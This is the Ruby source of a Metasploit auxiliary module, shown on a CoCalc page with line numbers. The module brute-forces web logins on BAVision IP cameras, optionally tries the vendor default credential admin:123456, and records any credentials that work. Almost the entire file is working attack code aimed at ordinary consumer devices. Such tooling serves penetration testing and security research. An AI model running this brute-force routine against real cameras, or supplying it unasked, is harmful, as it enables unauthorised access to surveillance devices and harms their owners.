CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasploit/framework/login_scanner/bavision_cameras'
7
require 'metasploit/framework/credential_collection'
8

9
class MetasploitModule < Msf::Auxiliary
10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Auxiliary::AuthBrute
12
  include Msf::Auxiliary::Report
13
  include Msf::Auxiliary::Scanner
14

15
  def initialize(info={})
16
    super(update_info(info,
17
      'Name'        => 'BAVision IP Camera Web Server Login',
18
      'Description' => %q{
19
        This module will attempt to authenticate to an IP camera created by BAVision via the
20
        web service. By default, the vendor ships a default credential admin:123456 to its
21
        cameras, and the web server does not enforce lockouts in case of a bruteforce attack.
22
      },
23
      'Author'      => [ 'sinn3r' ],
24
      'License'     => MSF_LICENSE
25
    ))
26

27
    register_options(
28
      [
29
        OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false])
30
      ])
31
  end
32

33

34
  def scanner(ip)
35
    @scanner ||= lambda {
36
      cred_collection = build_credential_collection(
37
        username: datastore['USERNAME'],
38
        password: datastore['PASSWORD']
39
      )
40

41
      if datastore['TRYDEFAULT']
42
        # Add the default username and password
43
        print_status("Default credential admin:123456 added to the credential queue for testing.")
44
        cred_collection.add_public('admin')
45
        cred_collection.add_private('123456')
46
      end
47

48
      return Metasploit::Framework::LoginScanner::BavisionCameras.new(
49
        configure_http_login_scanner(
50
          host: ip,
51
          port: datastore['RPORT'],
52
          cred_details:       cred_collection,
53
          stop_on_success:    datastore['STOP_ON_SUCCESS'],
54
          bruteforce_speed:   datastore['BRUTEFORCE_SPEED'],
55
          connection_timeout: 5,
56
          http_username:      datastore['HttpUsername'],
57
          http_password:      datastore['HttpPassword']
58
        ))
59
    }.call
60
  end
61

62

63
  def report_good_cred(ip, port, result)
64
    service_data = {
65
      address: ip,
66
      port: port,
67
      service_name: 'http',
68
      protocol: 'tcp',
69
      workspace_id: myworkspace_id
70
    }
71

72
    credential_data = {
73
      module_fullname: self.fullname,
74
      origin_type: :service,
75
      private_data: result.credential.private,
76
      private_type: :password,
77
      username: result.credential.public,
78
    }.merge(service_data)
79

80
    login_data = {
81
      core: create_credential(credential_data),
82
      last_attempted_at: DateTime.now,
83
      status: result.status,
84
      proof: result.proof
85
    }.merge(service_data)
86

87
    create_credential_login(login_data)
88
  end
89

90

91
  def report_bad_cred(ip, rport, result)
92
    invalidate_login(
93
      address: ip,
94
      port: rport,
95
      protocol: 'tcp',
96
      public: result.credential.public,
97
      private: result.credential.private,
98
      realm_key: result.credential.realm_key,
99
      realm_value: result.credential.realm,
100
      status: result.status,
101
      proof: result.proof
102
    )
103
  end
104

105
  def bruteforce(ip)
106
    scanner(ip).scan! do |result|
107
      case result.status
108
      when Metasploit::Model::Login::Status::SUCCESSFUL
109
        print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
110
        report_good_cred(ip, rport, result)
111
      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
112
        vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
113
        report_bad_cred(ip, rport, result)
114
      when Metasploit::Model::Login::Status::INCORRECT
115
        vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
116
        report_bad_cred(ip, rport, result)
117
      end
118
    end
119
  end
120

121
  def run_host(ip)
122
    unless scanner(ip).check_setup
123
      print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')
124
      return
125
    end
126

127
    bruteforce(ip)
128
  end
129
end
130

131